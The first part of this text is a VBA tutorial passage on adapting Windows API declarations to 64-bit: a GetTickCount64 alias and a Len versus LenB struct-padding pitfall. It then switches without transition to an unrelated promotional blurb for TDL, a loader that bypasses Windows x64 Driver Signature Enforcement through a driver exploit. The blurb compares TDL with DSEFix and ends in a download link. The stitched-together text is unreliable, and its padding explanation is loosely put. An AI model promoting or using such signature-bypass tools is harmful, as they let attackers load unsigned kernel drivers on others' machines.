A good example for this is the GetTickCount function. This function returns the number of milliseconds since the system was started. Its return value is a Long. The function can only return the tick count for 49.7 days before the maximum value of Long is reached. To improve this, there is a newer GetTickCount64 function. This function returns an ULongLong, a 64-bit unsigned integer. The function is available on 32-bit Windows as well, but we cannot use it there because we have no suitable data type in VBA to handle its return value.

If you want to use this the 64bit version of the function when your code is running in a 64-bit environment, you need to use the Win64constant.

#If Win64 Then Public Declare PtrSafe Function GetTickCount Lib «Kernel32» Alias «GetTickCount64» () As LongPtr #Else Public Declare PtrSafe Function GetTickCount Lib «Kernel32» () As LongPtr #End If

In this sample, I reduced the platform dependent code to a minimum by declaring both versions of the function as GetTickCount. Only on 64-bit, I use the alias GetTickCount64 to map this to the new version of this function. The “correct” return value declaration would have been LongLong for the 64-bit version and just Long for the 32-bit version. I use LongPtr as return value type for both declarations to avoid platform dependencies in the calling code.

A common pitfall — The size of user-defined types

There is a common pitfall that, to my surprise, is hardly ever mentioned.

Many API-Functions that need a user-defined type passed as one of their arguments expect to be informed about the size of that type. This usually happens either by the size being stored in a member inside the structure or passed as a separate argument to the function.

Frequently developers use the Len-Function to determine the size of the type. That is incorrect, but it works on the 32-bit platform — by pure chance. Unfortunately, it frequently fails on the 64-bit platform.

To understand the issue, you need to know two things about Window’s inner workings.

  1. The members of user-defined types are aligned sequentially in memory. One member after the other.
  2. Windows manages its memory in small chunks. On a 32-bit system, these chunks are always 4 bytes big. On a 64-bit system, these chunks have a size of 8 bytes.

If several members of a user-defined type fit into such a chunk completely, they will be stored in just one of those. If a part of such a chunk is already filled and the next member in the structure will not fit in the remaining space, it will be put in the next chunk and the remaining space in the previous chunk will stay unused. This process is called padding.

Regarding the size of user-defined types, the Windows API expects to be told the complete size the type occupies in memory. Including those padded areas that are empty but need to be considered to manage the total memory area and to determine the exact positions of each of the members of the type.

The Len-Function adds up the size of all the members in a type, but it does not count the empty memory areas, which might have been created by the padding. So, the size computed by the Len-Function is not correct! — You need to use the LenB-Function to determine the total size of the type in memory.

Here is a small sample to illustrate the issue:

Public Type smallType a As Integer b As Long x As LongPtr End Type Public Sub testTypeSize() Dim s As smallType Debug.Print «Len: « & Len(s) Debug.Print «LenB: « & LenB(s) End Sub

On 32-bit the Integer is two bytes in size but it will occupy 4 bytes in memory because the Long is put in the next chunk of memory. The remaining two bytes in the first chunk of memory are not used. The size of the members adds up to 10 bytes, but the whole type is 12 bytes in memory.

On 64-bit the Integer and the Long are 6 bytes total and will fit into the first chunk together. The LongPtr (now 8 bytes in size) will be put into the net chunk of memory and once again the remaining two bytes in the first chunk of memory are not used. The size of the members adds up to 14 bytes, but the whole type is 16 bytes in memory.

So, if the underlying mechanism exists on both platforms, why is this not a problem with API calls on 32-bit? — Simply by pure chance. To my knowledge, there is no Windows API function that explicitly uses a datatype smaller than a DWORD (Long) as a member in any of its UDT arguments.

Wrap up

With the content covered in this article, you should be able to adapt most of your API-Declarations to 64-bit.

Many samples and articles on this topic available on the net today are lacking sufficient explanation to highlight the really important issues. I hope I was able to show the key facts for a successful migration.

Always keep in mind, it is actually not that difficult to write API code that is ready for 64-bit. — Good luck!

A Tool To Bypass Windows x64 Driver Signature Enforcement

TDL (Turla Driver Loader) For Bypassing Windows x64 Signature Enforcement

Definition: TDL Driver loader allows bypassing Windows x64 Driver Signature Enforcement.

What are the system requirements and limitations?

It can run on OS x64 Windows 7/8/8.1/10.
As Vista is obsolete so, TDL doesn’t support Vista it only designed for x64 Windows.
Privilege of administrator is required.
Loaded drivers MUST BE specially designed to run as «driverless».
There is No SEH support.
There is also No driver unloading.
Automatically Only ntoskrnl import resolved, else everything is up to you.
It also provides Dummy driver examples.

Differentiate DSEFix and TDL:

As both DSEFix and TDL uses advantages of driver exploit but they have entirely different way of using it.

Benefits of DSEFix: 

It manipulates kernel variable called g_CiEnabled (Vista/7, ntoskrnl.exe) and/or g_CiOptions (8+. CI.DLL).
DSEFix is simple- you need only to turn DSE it off — load your driver nothing else required.
DSEFix is a potential BSOD-generator as it id subject to PatchGuard (KPP) protection.

Advantages of TDL:

It is friendly to PatchGuard as it doesn’t patch any kernel variables.
Shellcode which TDL used can be able to map driver to kernel mode without windows loader.
Non-invasive bypass od DSE is the main advantage of TDL.

There are some disadvantages too:

To run as «driverless» Your driver must be specially created.
Driver should exist in kernel mode as executable code buffer
You can load multiple drivers, if they are not conflicting each other.


TDL contains full source code. You need Microsoft Visual Studio 2015 U1 and later versions if you want to build it. And same as for driver builds there should be Microsoft Windows Driver Kit 8.1.

Download Link: Click Here